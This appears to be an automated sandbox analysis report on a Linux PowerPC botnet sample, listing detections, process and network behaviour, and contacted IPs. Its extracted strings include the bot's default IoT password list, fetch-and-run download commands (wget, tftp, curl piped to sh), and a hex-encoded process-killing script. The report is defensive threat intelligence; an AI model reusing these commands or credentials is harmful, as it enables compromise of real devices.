Linux Analysis Report
la.bot.powerpc.elf

Overview

General Information

Sample name: la.bot.powerpc.elf
Analysis ID: 1541775
MD5: 792c678483317de9bd730a8b9204bc6b
SHA1: 97b61b0338738f8ed4051fb038886b843c61d935
SHA256: e691b0a3bfb79210d09c10864f3707e64e56cc59b43e6697a34247e6c3e1e044
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.powerpc.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.powerpc.elf ReversingLabs: Detection: 34%
Source: la.bot.powerpc.elf Virustotal: Detection: 33% Perma Link
Found strings indicative of a multi-platform dropper
Source: la.bot.powerpc.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.powerpc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.powerpc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.powerpc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:37998 -> 154.205.128.136:7193
Sample listens on a socket
Source: /tmp/la.bot.powerpc.elf (PID: 5488) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 108.239.214.164
Source: unknown TCP traffic detected without corresponding DNS query: 108.239.214.164
Source: unknown TCP traffic detected without corresponding DNS query: 18.11.209.91
Source: unknown TCP traffic detected without corresponding DNS query: 90.45.92.47
Source: unknown TCP traffic detected without corresponding DNS query: 18.11.209.91
Source: unknown TCP traffic detected without corresponding DNS query: 90.45.92.47
Source: unknown TCP traffic detected without corresponding DNS query: 153.59.45.21
Source: unknown TCP traffic detected without corresponding DNS query: 153.59.45.21
Source: unknown TCP traffic detected without corresponding DNS query: 202.177.147.157
Source: unknown TCP traffic detected without corresponding DNS query: 202.177.147.157
Source: unknown TCP traffic detected without corresponding DNS query: 133.173.92.113
Source: unknown TCP traffic detected without corresponding DNS query: 148.218.23.170
Source: unknown TCP traffic detected without corresponding DNS query: 133.173.92.113
Source: unknown TCP traffic detected without corresponding DNS query: 59.195.214.96
Source: unknown TCP traffic detected without corresponding DNS query: 148.218.23.170
Source: unknown TCP traffic detected without corresponding DNS query: 54.217.144.157
Source: unknown TCP traffic detected without corresponding DNS query: 59.195.214.96
Source: unknown TCP traffic detected without corresponding DNS query: 188.206.5.114
Source: unknown TCP traffic detected without corresponding DNS query: 54.217.144.157
Source: unknown TCP traffic detected without corresponding DNS query: 188.206.5.114
Source: unknown TCP traffic detected without corresponding DNS query: 61.202.131.92
Source: unknown TCP traffic detected without corresponding DNS query: 51.84.231.241
Source: unknown TCP traffic detected without corresponding DNS query: 61.202.131.92
Source: unknown TCP traffic detected without corresponding DNS query: 51.84.231.241
Source: unknown TCP traffic detected without corresponding DNS query: 174.176.137.212
Source: unknown TCP traffic detected without corresponding DNS query: 5.250.79.127
Source: unknown TCP traffic detected without corresponding DNS query: 174.176.137.212
Source: unknown TCP traffic detected without corresponding DNS query: 94.188.148.126
Source: unknown TCP traffic detected without corresponding DNS query: 5.250.79.127
Source: unknown TCP traffic detected without corresponding DNS query: 160.60.92.131
Source: unknown TCP traffic detected without corresponding DNS query: 94.188.148.126
Source: unknown TCP traffic detected without corresponding DNS query: 77.175.254.55
Source: unknown TCP traffic detected without corresponding DNS query: 160.60.92.131
Source: unknown TCP traffic detected without corresponding DNS query: 149.208.178.121
Source: unknown TCP traffic detected without corresponding DNS query: 77.175.254.55
Source: unknown TCP traffic detected without corresponding DNS query: 105.223.119.204
Source: unknown TCP traffic detected without corresponding DNS query: 184.41.29.93
Source: unknown TCP traffic detected without corresponding DNS query: 149.208.178.121
Source: unknown TCP traffic detected without corresponding DNS query: 11.193.216.157
Source: unknown TCP traffic detected without corresponding DNS query: 105.223.119.204
Source: unknown TCP traffic detected without corresponding DNS query: 184.41.29.93
Source: unknown TCP traffic detected without corresponding DNS query: 218.162.151.189
Source: unknown TCP traffic detected without corresponding DNS query: 11.193.216.157
Source: unknown TCP traffic detected without corresponding DNS query: 40.122.236.91
Source: unknown TCP traffic detected without corresponding DNS query: 76.125.189.232
Source: unknown TCP traffic detected without corresponding DNS query: 218.162.151.189
Source: unknown TCP traffic detected without corresponding DNS query: 99.239.36.148
Source: unknown TCP traffic detected without corresponding DNS query: 40.122.236.91
Source: unknown TCP traffic detected without corresponding DNS query: 117.189.226.224
Source: unknown TCP traffic detected without corresponding DNS query: 76.125.189.232
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.powerpc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.powerpc.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: (usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.powerpc.elf (PID: 5510) SIGKILL sent: pid: 940, result: successful Jump to behavior
Source: classification engine Classification label: mal56.linELF@0/0@3/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/917/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/19/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/240/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/242/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/244/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/245/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/246/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/5/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/247/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/7/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/8/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/129/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/803/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/806/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/807/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/928/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/490/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/135/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/268/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/940/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/271/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/273/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/275/fd Jump to behavior
Source: /tmp/la.bot.powerpc.elf (PID: 5510) File opened: /proc/276/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.powerpc.elf (PID: 5488) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.powerpc.elf, 5488.1.000055a7b6d85000.000055a7b6e35000.rw-.sdmp Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: la.bot.powerpc.elf, 5488.1.000055a7b6d85000.000055a7b6e35000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/ppc
Source: la.bot.powerpc.elf, 5488.1.00007ffcc3c2a000.00007ffcc3c4b000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc
Source: la.bot.powerpc.elf, 5488.1.00007ffcc3c2a000.00007ffcc3c4b000.rw-.sdmp Binary or memory string: djx86_64/usr/bin/qemu-ppc/tmp/la.bot.powerpc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.powerpc.elf
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
165.48.116.253
 unknown United States
37053 RSAWEB-ASZA false
144.152.13.93
 unknown United States
58541 CHINATELECOM-SHANDONG-QINGDAO-IDCQingdao266000CN false
173.131.124.148
 unknown United States
10507 SPCSUS false
78.244.37.209
 unknown France
12322 PROXADFR false
196.67.187.33
 unknown Morocco
6713 IAM-ASMA false
104.157.196.7
 unknown Canada
36493 295CA-TOR-ASNCA false
183.113.199.35
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
55.91.157.59
 unknown United States
369 DNIC-ASBLK-00306-00371US false
78.237.62.100
 unknown France
12322 PROXADFR false
170.96.160.97
 unknown United States
18980 PEACEHEALTHUS false
178.214.22.240
 unknown Poland
51390 MTMINFO-ASPL false
24.236.40.55
 unknown United States
11232 MIDCO-NETUS false
101.172.138.218
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
126.112.234.179
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
17.195.109.58
 unknown United States
714 APPLE-ENGINEERINGUS false
190.209.31.220
 unknown Chile
6535 TelmexServiciosEmpresarialesSACL false
204.213.40.197
 unknown United States
1239 SPRINTLINKUS false
87.4.168.159
 unknown Italy
3269 ASN-IBSNAZIT false
27.148.96.49
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
44.86.66.110
 unknown United States
7377 UCSDUS false
59.188.147.214
 unknown Hong Kong
17444 NWT-AS-APASnumberforNewWorldTelephoneLtdHK false
103.159.27.228
 unknown unknown
134687 TWIDC-AS-APTWIDCLimitedHK false
117.98.220.130
 unknown India
24560 AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices false
174.17.214.228
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
131.15.185.153
 unknown United States
385 AFCONC-BLOCK1-ASUS false
197.206.51.5
 unknown Algeria
36947 ALGTEL-ASDZ false
109.55.14.122
 unknown Italy
16232 ASN-TIMServiceProviderIT false
87.44.26.135
 unknown Ireland
1213 HEANETIE false
162.141.142.255
 unknown United States
3705 GPO-NETUS false
40.158.94.241
 unknown United States
4249 LILLY-ASUS false
47.164.147.129
 unknown United States
5650 FRONTIER-FRTRUS false
71.202.169.184
 unknown United States
7922 COMCAST-7922US false
23.38.77.98
 unknown United States
20940 AKAMAI-ASN1EU false
62.98.20.243
 unknown Italy
1267 ASN-WINDTREIUNETEU false
164.209.210.197
 unknown United States
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
221.43.161.21
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
48.155.205.33
 unknown United States
2686 ATGS-MMD-ASUS false
5.201.143.180
 unknown Iran (ISLAMIC Republic Of)
50810 MOBINNET-ASAS47823belongstoArvanCloudCDNthatismobinn false
63.204.86.122
 unknown United States
7018 ATT-INTERNET4US false
188.251.184.103
 unknown Portugal
3243 MEO-RESIDENCIALPT false
38.114.66.203
 unknown United States
22926 AS-WISPERUS false
44.95.237.46
 unknown United States
7377 UCSDUS false
18.134.54.221
 unknown United States
16509 AMAZON-02US false
188.224.223.184
 unknown Saudi Arabia
25019 SAUDINETSTC-ASSA false
77.197.208.147
 unknown France
15557 LDCOMNETFR false
18.149.22.215
 unknown United States
16509 AMAZON-02US false
131.210.61.226
 unknown United States
3128 BRUWS-AS3128US false
203.71.208.20
 unknown Taiwan; Republic of China (ROC)
1659 ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC false
79.48.23.79
 unknown Italy
3269 ASN-IBSNAZIT false
111.242.219.16
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
46.76.94.3
 unknown Poland
8374 PLUSNETPlusnetworkoperatorinPolandPL false
134.46.116.83
 unknown United States
72 SCHLUMBERGER-ASUS false
152.0.34.99
 unknown Dominican Republic
6400 CompaniaDominicanadeTelefonosSADO false
137.34.140.148
 unknown Switzerland
721 DNIC-ASBLK-00721-00726US false
148.192.38.41
 unknown United States
6400 CompaniaDominicanadeTelefonosSADO false
84.92.199.182
 unknown United Kingdom
6871 PLUSNETUKInternetServiceProviderGB false
1.102.168.162
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
122.239.71.240
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
108.163.29.236
 unknown United States
394855 STRATUS-VIDEOUS false
166.250.253.14
 unknown United States
22394 CELLCOUS false
215.211.136.231
 unknown United States
721 DNIC-ASBLK-00721-00726US false
115.211.247.50
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
84.62.46.188
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
53.162.43.9
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
48.203.136.192
 unknown United States
2686 ATGS-MMD-ASUS false
118.126.144.103
 unknown China
23724 CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporation false
116.28.243.0
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
126.215.126.153
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
186.183.202.175
 unknown Colombia
22368 TELEBUCARAMANGASAESPCO false
15.138.133.92
 unknown United States
71 HP-INTERNET-ASUS false
154.233.36.88
 unknown Cote D'ivoire
36974 AFNET-ASCI false
30.210.138.95
 unknown United States
7922 COMCAST-7922US false
7.46.221.76
 unknown United States
3356 LEVEL3US false
129.143.251.160
 unknown Germany
553 BELWUEBelWue-KoordinationEU false
182.201.136.223
 unknown China
134762 CHINANET-LIAONING-DALIAN-MANCHINANETLiaoningprovinceDali false
217.128.212.139
 unknown France
3215 FranceTelecom-OrangeFR false
205.129.186.248
 unknown United States
22740 UNASSIGNED false
139.205.44.114
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
62.198.89.19
 unknown Denmark
3308 TELIANET-DENMARKDK false
201.104.164.161
 unknown Mexico
8151 UninetSAdeCVMX false
184.4.65.77
 unknown United States
5778 CENTURYLINK-LEGACY-EMBARQ-RCMTUS false
125.153.150.155
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
164.122.183.102
 unknown United States
668 DNIC-AS-00668US false
89.80.72.20
 unknown France
5410 BOUYGTEL-ISPFR false
153.197.151.219
